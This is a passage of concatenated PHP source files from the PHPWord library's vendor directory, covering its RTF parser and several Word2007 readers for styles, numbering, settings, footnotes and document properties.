    private $control = '';

    /**
     * Text content.
     *
     * @var string
     */
    private $text = '';

    /**
     * Parsing a control word flag.
     *
     * @var bool
     */
    private $isControl = false;

    /**
     * First character flag: watch out for control symbols.
     *
     * @var bool
     */
    private $isFirst = false;

    /**
     * Group groups.
     *
     * @var array
     */
    private $groups = [];

    /**
     * Parser flags; not used.
     *
     * @var array
     */
    private $flags = [];

    /**
     * Parse RTF content.
     *
     * - Marks controlling characters `{`, `}`, and `\`
     * - Removes line endings
     * - Builds control words and control symbols
     * - Pushes every other character into the text queue
     *
     * @todo Use `fread` stream for scalability
     */
    public function read(PhpWord $phpWord): void
    {
        $markers = [
            123 => 'markOpening',   // {
            125 => 'markClosing',   // }
            92 => 'markBackslash', // \
            10 => 'markNewline',   // LF
            13 => 'markNewline',   // CR
        ];

        $this->phpWord = $phpWord;
        $this->section = $phpWord->addSection();
        $this->textrun = $this->section->addTextRun();
        $this->length = strlen($this->rtf);

        $this->flags['paragraph'] = true; // Set paragraph flag from the beginning

        // Walk each characters
        while ($this->offset < $this->length) {
            $char = $this->rtf[$this->offset];
            $ascii = ord($char);

            if (isset($markers[$ascii])) { // Marker found: {, }, \, LF, or CR
                $markerFunction = $markers[$ascii];
                $this->$markerFunction();
            } else {
                if (false === $this->isControl) { // Non control word: Push character
                    $this->pushText($char);
                } else {
                    if (preg_match('/^[a-zA-Z0-9-]?$/', $char)) { // No delimiter: Buffer control
                        $this->control .= $char;
                        $this->isFirst = false;
                    } else { // Delimiter found: Parse buffered control
                        if ($this->isFirst) {
                            $this->isFirst = false;
                        } else {
                            if (' ' == $char) { // Discard space as a control word delimiter
                                $this->flushControl(true);
                            }
                        }
                    }
                }
            }
            ++$this->offset;
        }
        $this->flushText();
    }

    /**
     * Mark opening braket `{` character.
     */
    private function markOpening(): void
    {
        $this->flush(true);
        array_push($this->groups, $this->flags);
    }

    /**
     * Mark closing braket `}` character.
     */
    private function markClosing(): void
    {
        $this->flush(true);
        $this->flags = array_pop($this->groups);
    }

    /**
     * Mark backslash `\` character.
     */
    private function markBackslash(): void
    {
        if ($this->isFirst) {
            $this->setControl(false);
            $this->text .= '\\';
        } else {
            $this->flush();
            $this->setControl(true);
            $this->control = '';
        }
    }

    /**
     * Mark newline character: Flush control word because it's not possible to span multiline.
     */
    private function markNewline(): void
    {
        if ($this->isControl) {
            $this->flushControl(true);
        }
    }

    /**
     * Flush control word or text.
     *
     * @param bool $isControl
     */
    private function flush($isControl = false): void
    {
        if ($this->isControl) {
            $this->flushControl($isControl);
        } else {
            $this->flushText();
        }
    }

    /**
     * Flush control word.
     *
     * @param bool $isControl
     */
    private function flushControl($isControl = false): void
    {
        if (1 === preg_match('/^([A-Za-z]+)(-?[0-9]*) ?$/', $this->control, $match)) {
            [, $control, $parameter] = $match;
            $this->parseControl($control, $parameter);
        }

        if (true === $isControl) {
            $this->setControl(false);
        }
    }

    /**
     * Flush text in queue.
     */
    private function flushText(): void
    {
        if ($this->text != '') {
            if (isset($this->flags['property'])) { // Set property
                $this->flags['value'] = $this->text;
            } else { // Set text
                if (true === $this->flags['paragraph']) {
                    $this->flags['paragraph'] = false;
                    $this->flags['text'] = $this->text;
                }
            }

            // Add text if it's not flagged as skipped
            if (!isset($this->flags['skipped'])) {
                $this->readText();
            }

            $this->text = '';
        }
    }

    /**
     * Reset control word and first char state.
     *
     * @param bool $value
     */
    private function setControl($value): void
    {
        $this->isControl = $value;
        $this->isFirst = $value;
    }

    /**
     * Push text into queue.
     *
     * @param string $char
     */
    private function pushText($char): void
    {
        if ('<' == $char) {
            $this->text .= '&lt;';
        } elseif ('>' == $char) {
            $this->text .= '&gt;';
        } else {
            $this->text .= $char;
        }
    }

    /**
     * Parse control.
     *
     * @param string $control
     * @param string $parameter
     */
    private function parseControl($control, $parameter): void
    {
        $controls = [
            'par' => [self::PARA,    'paragraph',    true],
            'b' => [self::STYL,    'font',         'bold',          true],
            'i' => [self::STYL,    'font',         'italic',        true],
            'u' => [self::STYL,    'font',         'underline',     true],
            'strike' => [self::STYL,    'font',         'strikethrough', true],
            'fs' => [self::STYL,    'font',         'size',          $parameter],
            'qc' => [self::STYL,    'paragraph',    'alignment',     Jc::CENTER],
            'sa' => [self::STYL,    'paragraph',    'spaceAfter',    $parameter],
            'fonttbl' => [self::SKIP,    'fonttbl',      null],
            'colortbl' => [self::SKIP,    'colortbl',     null],
            'info' => [self::SKIP,    'info',         null],
            'generator' => [self::SKIP,    'generator',    null],
            'title' => [self::SKIP,    'title',        null],
            'subject' => [self::SKIP,    'subject',      null],
            'category' => [self::SKIP,    'category',     null],
            'keywords' => [self::SKIP,    'keywords',     null],
            'comment' => [self::SKIP,    'comment',      null],
            'shppict' => [self::SKIP,    'pic',          null],
            'fldinst' => [self::SKIP,    'link',         null],
        ];

        if (isset($controls[$control])) {
            [$function] = $controls[$control];
            if (method_exists($this, $function)) {
                $directives = $controls[$control];
                array_shift($directives); // remove the function variable; we won't need it
                $this->$function($directives);
            }
        }
    }

    /**
     * Read paragraph.
     *
     * @param array $directives
     */
    private function readParagraph($directives): void
    {
        [$property, $value] = $directives;
        $this->textrun = $this->section->addTextRun();
        $this->flags[$property] = $value;
    }

    /**
     * Read style.
     *
     * @param array $directives
     */
    private function readStyle($directives): void
    {
        [$style, $property, $value] = $directives;
        $this->flags['styles'][$style][$property] = $value;
    }

    /**
     * Read skip.
     *
     * @param array $directives
     */
    private function readSkip($directives): void
    {
        [$property] = $directives;
        $this->flags['property'] = $property;
        $this->flags['skipped'] = true;
    }

    /**
     * Read text.
     */
    private function readText(): void
    {
        $text = $this->textrun->addText($this->text);
        if (isset($this->flags['styles']['font'])) {
            $text->getFontStyle()->setStyleByArray($this->flags['styles']['font']);
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/RTF.php000066600000002524151150442730016220 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader;

use Exception;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Reader\RTF\Document;

/**
 * RTF Reader class.
 *
 * @since 0.11.0
 */
class RTF extends AbstractReader implements ReaderInterface
{
    /**
     * Loads PhpWord from file.
     *
     * @param string $docFile
     *
     * @return \PhpOffice\PhpWord\PhpWord
     */
    public function load($docFile)
    {
        $phpWord = new PhpWord();

        if ($this->canRead($docFile)) {
            $doc = new Document();
            $doc->rtf = file_get_contents($docFile);
            $doc->read($phpWord);
        } else {
            throw new Exception("Cannot read {$docFile}.");
        }

        return $phpWord;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Styles.php000066600000010345151150442730020274 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;
use PhpOffice\PhpWord\Style\Language;

/**
 * Styles reader.
 *
 * @since 0.10.0
 */
class Styles extends AbstractPart
{
    /**
     * Read styles.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        $fontDefaults = $xmlReader->getElement('w:docDefaults/w:rPrDefault');
        if ($fontDefaults !== null) {
            $fontDefaultStyle = $this->readFontStyle($xmlReader, $fontDefaults);
            if ($fontDefaultStyle) {
                if (array_key_exists('name', $fontDefaultStyle)) {
                    $phpWord->setDefaultFontName($fontDefaultStyle['name']);
                }
                if (array_key_exists('size', $fontDefaultStyle)) {
                    $phpWord->setDefaultFontSize($fontDefaultStyle['size']);
                }
                if (array_key_exists('lang', $fontDefaultStyle)) {
                    $phpWord->getSettings()->setThemeFontLang(new Language($fontDefaultStyle['lang']));
                }
            }
        }

        $paragraphDefaults = $xmlReader->getElement('w:docDefaults/w:pPrDefault');
        if ($paragraphDefaults !== null) {
            $paragraphDefaultStyle = $this->readParagraphStyle($xmlReader, $paragraphDefaults);
            if ($paragraphDefaultStyle != null) {
                $phpWord->setDefaultParagraphStyle($paragraphDefaultStyle);
            }
        }

        $nodes = $xmlReader->getElements('w:style');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $type = $xmlReader->getAttribute('w:type', $node);
                $name = $xmlReader->getAttribute('w:val', $node, 'w:name');
                if (null === $name) {
                    $name = $xmlReader->getAttribute('w:styleId', $node);
                }
                $headingMatches = [];
                preg_match('/Heading\s*(\d)/i', $name, $headingMatches);
                // $default = ($xmlReader->getAttribute('w:default', $node) == 1);
                switch ($type) {
                    case 'paragraph':
                        $paragraphStyle = $this->readParagraphStyle($xmlReader, $node);
                        $fontStyle = $this->readFontStyle($xmlReader, $node);
                        if (!empty($headingMatches)) {
                            $phpWord->addTitleStyle($headingMatches[1], $fontStyle, $paragraphStyle);
                        } else {
                            if (empty($fontStyle)) {
                                if (is_array($paragraphStyle)) {
                                    $phpWord->addParagraphStyle($name, $paragraphStyle);
                                }
                            } else {
                                $phpWord->addFontStyle($name, $fontStyle, $paragraphStyle);
                            }
                        }

                        break;
                    case 'character':
                        $fontStyle = $this->readFontStyle($xmlReader, $node);
                        if (!empty($fontStyle)) {
                            $phpWord->addFontStyle($name, $fontStyle);
                        }

                        break;
                    case 'table':
                        $tStyle = $this->readTableStyle($xmlReader, $node);
                        if (!empty($tStyle)) {
                            $phpWord->addTableStyle($name, $tStyle);
                        }

                        break;
                }
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/DocPropsCustom.php000066600000003452151150442730021736 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use PhpOffice\PhpWord\Metadata\DocInfo;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Custom properties reader.
 *
 * @since 0.11.0
 */
class DocPropsCustom extends AbstractPart
{
    /**
     * Read custom document properties.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);
        $docProps = $phpWord->getDocInfo();

        $nodes = $xmlReader->getElements('*');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $propertyName = $xmlReader->getAttribute('name', $node);
                $attributeNode = $xmlReader->getElement('*', $node);
                $attributeType = $attributeNode->nodeName;
                $attributeValue = $attributeNode->nodeValue;
                $attributeValue = DocInfo::convertProperty($attributeValue, $attributeType);
                $attributeType = DocInfo::convertPropertyType($attributeType);
                $docProps->setCustomProperty($propertyName, $attributeValue, $attributeType);
            }
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Numbering.php000066600000011144151150442730020735 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use DOMElement;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Numbering reader.
 *
 * @since 0.10.0
 */
class Numbering extends AbstractPart
{
    /**
     * Read numbering.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $abstracts = [];
        $numberings = [];
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        // Abstract numbering definition
        $nodes = $xmlReader->getElements('w:abstractNum');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $abstractId = $xmlReader->getAttribute('w:abstractNumId', $node);
                $abstracts[$abstractId] = ['levels' => []];
                $abstract = &$abstracts[$abstractId];
                $subnodes = $xmlReader->getElements('*', $node);
                foreach ($subnodes as $subnode) {
                    switch ($subnode->nodeName) {
                        case 'w:multiLevelType':
                            $abstract['type'] = $xmlReader->getAttribute('w:val', $subnode);

                            break;
                        case 'w:lvl':
                            $levelId = $xmlReader->getAttribute('w:ilvl', $subnode);
                            $abstract['levels'][$levelId] = $this->readLevel($xmlReader, $subnode, $levelId);

                            break;
                    }
                }
            }
        }

        // Numbering instance definition
        $nodes = $xmlReader->getElements('w:num');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $numId = $xmlReader->getAttribute('w:numId', $node);
                $abstractId = $xmlReader->getAttribute('w:val', $node, 'w:abstractNumId');
                $numberings[$numId] = $abstracts[$abstractId];
                $numberings[$numId]['numId'] = $numId;
                $subnodes = $xmlReader->getElements('w:lvlOverride/w:lvl', $node);
                foreach ($subnodes as $subnode) {
                    $levelId = $xmlReader->getAttribute('w:ilvl', $subnode);
                    $overrides = $this->readLevel($xmlReader, $subnode, $levelId);
                    foreach ($overrides as $key => $value) {
                        $numberings[$numId]['levels'][$levelId][$key] = $value;
                    }
                }
            }
        }

        // Push to Style collection
        foreach ($numberings as $numId => $numbering) {
            $phpWord->addNumberingStyle("PHPWordList{$numId}", $numbering);
        }
    }

    /**
     * Read numbering level definition from w:abstractNum and w:num.
     *
     * @param int $levelId
     *
     * @return array
     */
    private function readLevel(XMLReader $xmlReader, DOMElement $subnode, $levelId)
    {
        $level = [];

        $level['level'] = $levelId;
        $level['start'] = $xmlReader->getAttribute('w:val', $subnode, 'w:start');
        $level['format'] = $xmlReader->getAttribute('w:val', $subnode, 'w:numFmt');
        $level['restart'] = $xmlReader->getAttribute('w:val', $subnode, 'w:lvlRestart');
        $level['suffix'] = $xmlReader->getAttribute('w:val', $subnode, 'w:suff');
        $level['text'] = $xmlReader->getAttribute('w:val', $subnode, 'w:lvlText');
        $level['alignment'] = $xmlReader->getAttribute('w:val', $subnode, 'w:lvlJc');
        $level['tab'] = $xmlReader->getAttribute('w:pos', $subnode, 'w:pPr/w:tabs/w:tab');
        $level['left'] = $xmlReader->getAttribute('w:left', $subnode, 'w:pPr/w:ind');
        $level['hanging'] = $xmlReader->getAttribute('w:hanging', $subnode, 'w:pPr/w:ind');
        $level['font'] = $xmlReader->getAttribute('w:ascii', $subnode, 'w:rPr/w:rFonts');
        $level['hint'] = $xmlReader->getAttribute('w:hint', $subnode, 'w:rPr/w:rFonts');

        foreach ($level as $key => $value) {
            if (null === $value) {
                unset($level[$key]);
            }
        }

        return $level;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Endnotes.php000066600000001712151150442730020566 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

/**
 * Endnotes reader.
 *
 * @since 0.10.0
 */
class Endnotes extends Footnotes
{
    /**
     * Collection name.
     *
     * @var string
     */
    protected $collection = 'endnotes';

    /**
     * Element name.
     *
     * @var string
     */
    protected $element = 'endnote';
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Settings.php000066600000013102151150442730020603 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use DOMElement;
use PhpOffice\PhpWord\ComplexType\TrackChangesView;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;
use PhpOffice\PhpWord\Style\Language;

/**
 * Settings reader.
 *
 * @since 0.14.0
 */
class Settings extends AbstractPart
{
    /**
     * @var array<string>
     */
    private $booleanProperties = [
        'mirrorMargins',
        'hideSpellingErrors',
        'hideGrammaticalErrors',
        'trackRevisions',
        'doNotTrackMoves',
        'doNotTrackFormatting',
        'evenAndOddHeaders',
        'updateFields',
        'autoHyphenation',
        'doNotHyphenateCaps',
        'bookFoldPrinting',
    ];

    /**
     * Read settings.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);

        $docSettings = $phpWord->getSettings();

        $nodes = $xmlReader->getElements('*');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $name = str_replace('w:', '', $node->nodeName);
                $value = $xmlReader->getAttribute('w:val', $node);
                $method = 'set' . $name;

                if (in_array($name, $this->booleanProperties)) {
                    $docSettings->$method($value !== 'false');
                } elseif (method_exists($this, $method)) {
                    $this->$method($xmlReader, $phpWord, $node);
                } elseif (method_exists($docSettings, $method)) {
                    $docSettings->$method($value);
                }
            }
        }
    }

    /**
     * Sets the document Language.
     */
    protected function setThemeFontLang(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $val = $xmlReader->getAttribute('w:val', $node);
        $eastAsia = $xmlReader->getAttribute('w:eastAsia', $node);
        $bidi = $xmlReader->getAttribute('w:bidi', $node);

        $themeFontLang = new Language();
        $themeFontLang->setLatin($val);
        $themeFontLang->setEastAsia($eastAsia);
        $themeFontLang->setBidirectional($bidi);

        $phpWord->getSettings()->setThemeFontLang($themeFontLang);
    }

    /**
     * Sets the document protection.
     */
    protected function setDocumentProtection(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $documentProtection = $phpWord->getSettings()->getDocumentProtection();

        $edit = $xmlReader->getAttribute('w:edit', $node);
        if ($edit !== null) {
            $documentProtection->setEditing($edit);
        }
    }

    /**
     * Sets the proof state.
     */
    protected function setProofState(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $proofState = $phpWord->getSettings()->getProofState();

        $spelling = $xmlReader->getAttribute('w:spelling', $node);
        $grammar = $xmlReader->getAttribute('w:grammar', $node);

        if ($spelling !== null) {
            $proofState->setSpelling($spelling);
        }
        if ($grammar !== null) {
            $proofState->setGrammar($grammar);
        }
    }

    /**
     * Sets the proof state.
     */
    protected function setZoom(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $percent = $xmlReader->getAttribute('w:percent', $node);
        $val = $xmlReader->getAttribute('w:val', $node);

        if ($percent !== null || $val !== null) {
            $phpWord->getSettings()->setZoom($percent === null ? $val : $percent);
        }
    }

    /**
     * Set the Revision view.
     */
    protected function setRevisionView(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $revisionView = new TrackChangesView();
        $revisionView->setMarkup(filter_var($xmlReader->getAttribute('w:markup', $node), FILTER_VALIDATE_BOOLEAN));
        $revisionView->setComments($xmlReader->getAttribute('w:comments', $node));
        $revisionView->setInsDel(filter_var($xmlReader->getAttribute('w:insDel', $node), FILTER_VALIDATE_BOOLEAN));
        $revisionView->setFormatting(filter_var($xmlReader->getAttribute('w:formatting', $node), FILTER_VALIDATE_BOOLEAN));
        $revisionView->setInkAnnotations(filter_var($xmlReader->getAttribute('w:inkAnnotations', $node), FILTER_VALIDATE_BOOLEAN));
        $phpWord->getSettings()->setRevisionView($revisionView);
    }

    protected function setConsecutiveHyphenLimit(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $value = $xmlReader->getAttribute('w:val', $node);

        if ($value !== null) {
            $phpWord->getSettings()->setConsecutiveHyphenLimit($value);
        }
    }

    protected function setHyphenationZone(XMLReader $xmlReader, PhpWord $phpWord, DOMElement $node): void
    {
        $value = $xmlReader->getAttribute('w:val', $node);

        if ($value !== null) {
            $phpWord->getSettings()->setHyphenationZone($value);
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/DocPropsApp.php000066600000002004151150442730021174 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

/**
 * Extended properties reader.
 *
 * @since 0.10.0
 */
class DocPropsApp extends DocPropsCore
{
    /**
     * Property mapping.
     *
     * @var array
     */
    protected $mapping = ['Company' => 'setCompany', 'Manager' => 'setManager'];

    /**
     * Callback functions.
     *
     * @var array
     */
    protected $callbacks = [];
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Footnotes.php000066600000005640151150442730020773 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Footnotes reader.
 *
 * @since 0.10.0
 */
class Footnotes extends AbstractPart
{
    /**
     * Collection name footnotes|endnotes.
     *
     * @var string
     */
    protected $collection = 'footnotes';

    /**
     * Element name footnote|endnote.
     *
     * @var string
     */
    protected $element = 'footnote';

    /**
     * Read (footnotes|endnotes).xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);
        $nodes = $xmlReader->getElements('*');
        if ($nodes->length > 0) {
            foreach ($nodes as $node) {
                $id = $xmlReader->getAttribute('w:id', $node);
                $type = $xmlReader->getAttribute('w:type', $node);

                // Avoid w:type "separator" and "continuationSeparator"
                // Only look for <footnote> or <endnote> without w:type attribute, or with w:type = normal
                if ((null === $type || $type === 'normal')) {
                    $element = $this->getElement($phpWord, $id);
                    if ($element !== null) {
                        $pNodes = $xmlReader->getElements('w:p/*', $node);
                        foreach ($pNodes as $pNode) {
                            $this->readRun($xmlReader, $pNode, $element, $this->collection);
                        }
                        $addMethod = "add{$this->element}";
                        $phpWord->$addMethod($element);
                    }
                }
            }
        }
    }

    /**
     * Searches for the element with the given relationId.
     *
     * @param int $relationId
     *
     * @return null|\PhpOffice\PhpWord\Element\AbstractContainer
     */
    private function getElement(PhpWord $phpWord, $relationId)
    {
        $getMethod = "get{$this->collection}";
        $collection = $phpWord->$getMethod()->getItems();

        //not found by key, looping to search by relationId
        foreach ($collection as $collectionElement) {
            if ($collectionElement->getRelationId() == $relationId) {
                return $collectionElement;
            }
        }

        return null;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/AbstractPart.php000066600000115466151150442730021415 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use DateTime;
use DOMElement;
use InvalidArgumentException;
use PhpOffice\Math\Reader\OfficeMathML;
use PhpOffice\PhpWord\ComplexType\TblWidth as TblWidthComplexType;
use PhpOffice\PhpWord\Element\AbstractContainer;
use PhpOffice\PhpWord\Element\AbstractElement;
use PhpOffice\PhpWord\Element\FormField;
use PhpOffice\PhpWord\Element\TextRun;
use PhpOffice\PhpWord\Element\TrackChange;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Abstract part reader.
 *
 * This class is inherited by ODText reader
 *
 * @since 0.10.0
 */
abstract class AbstractPart
{
    /**
     * Conversion method.
     *
     * @const int
     */
    const READ_VALUE = 'attributeValue';            // Read attribute value
    const READ_EQUAL = 'attributeEquals';           // Read `true` when attribute value equals specified value
    const READ_TRUE = 'attributeTrue';              // Read `true` when element exists
    const READ_FALSE = 'attributeFalse';            // Read `false` when element exists
    const READ_SIZE = 'attributeMultiplyByTwo';     // Read special attribute value for Font::$size

    /**
     * Document file.
     *
     * @var string
     */
    protected $docFile;

    /**
     * XML file.
     *
     * @var string
     */
    protected $xmlFile;

    /**
     * Part relationships.
     *
     * @var array
     */
    protected $rels = [];

    /**
     * Comment references.
     *
     * @var array<string, array<string, AbstractElement>>
     */
    protected $commentRefs = [];

    /**
     * Image Loading.
     *
     * @var bool
     */
    protected $imageLoading = true;

    /**
     * Read part.
     */
    abstract public function read(PhpWord $phpWord);

    /**
     * Create new instance.
     *
     * @param string $docFile
     * @param string $xmlFile
     */
    public function __construct($docFile, $xmlFile)
    {
        $this->docFile = $docFile;
        $this->xmlFile = $xmlFile;
    }

    /**
     * Set relationships.
     *
     * @param array $value
     */
    public function setRels($value): void
    {
        $this->rels = $value;
    }

    public function setImageLoading(bool $value): self
    {
        $this->imageLoading = $value;

        return $this;
    }

    public function hasImageLoading(): bool
    {
        return $this->imageLoading;
    }

    /**
     * Get comment references.
     *
     * @return array<string, array<string, null|AbstractElement>>
     */
    public function getCommentReferences(): array
    {
        return $this->commentRefs;
    }

    /**
     * Set comment references.
     *
     * @param array<string, array<string, null|AbstractElement>> $commentRefs
     */
    public function setCommentReferences(array $commentRefs): self
    {
        $this->commentRefs = $commentRefs;

        return $this;
    }

    /**
     * Set comment reference.
     */
    private function setCommentReference(string $type, string $id, AbstractElement $element): self
    {
        if (!in_array($type, ['start', 'end'])) {
            throw new InvalidArgumentException('Type must be "start" or "end"');
        }

        if (!array_key_exists($id, $this->commentRefs)) {
            $this->commentRefs[$id] = [
                'start' => null,
                'end' => null,
            ];
        }
        $this->commentRefs[$id][$type] = $element;

        return $this;
    }

    /**
     * Get comment reference.
     *
     * @return array<string, null|AbstractElement>
     */
    protected function getCommentReference(string $id): array
    {
        if (!array_key_exists($id, $this->commentRefs)) {
            throw new InvalidArgumentException(sprintf('Comment with id %s isn\'t referenced in document', $id));
        }

        return $this->commentRefs[$id];
    }

    /**
     * Read w:p.
     *
     * @param \PhpOffice\PhpWord\Element\AbstractContainer $parent
     * @param string $docPart
     *
     * @todo Get font style for preserve text
     */
    protected function readParagraph(XMLReader $xmlReader, DOMElement $domNode, $parent, $docPart = 'document'): void
    {
        // Paragraph style
        $paragraphStyle = $xmlReader->elementExists('w:pPr', $domNode) ? $this->readParagraphStyle($xmlReader, $domNode) : null;

        if ($xmlReader->elementExists('w:r/w:fldChar/w:ffData', $domNode)) {
            // FormField
            $partOfFormField = false;
            $formNodes = [];
            $formType = null;
            $textRunContainers = $xmlReader->countElements('w:r|w:ins|w:del|w:hyperlink|w:smartTag', $domNode);
            if ($textRunContainers > 0) {
                $nodes = $xmlReader->getElements('*', $domNode);
                $paragraph = $parent->addTextRun($paragraphStyle);
                foreach ($nodes as $node) {
                    if ($xmlReader->elementExists('w:fldChar/w:ffData', $node)) {
                        $partOfFormField = true;
                        $formNodes[] = $node;
                        if ($xmlReader->elementExists('w:fldChar/w:ffData/w:ddList', $node)) {
                            $formType = 'dropdown';
                        } elseif ($xmlReader->elementExists('w:fldChar/w:ffData/w:textInput', $node)) {
                            $formType = 'textinput';
                        } elseif ($xmlReader->elementExists('w:fldChar/w:ffData/w:checkBox', $node)) {
                            $formType = 'checkbox';
                        }
                    } elseif ($partOfFormField &&
                        $xmlReader->elementExists('w:fldChar', $node) &&
                        'end' == $xmlReader->getAttribute('w:fldCharType', $node, 'w:fldChar')
                    ) {
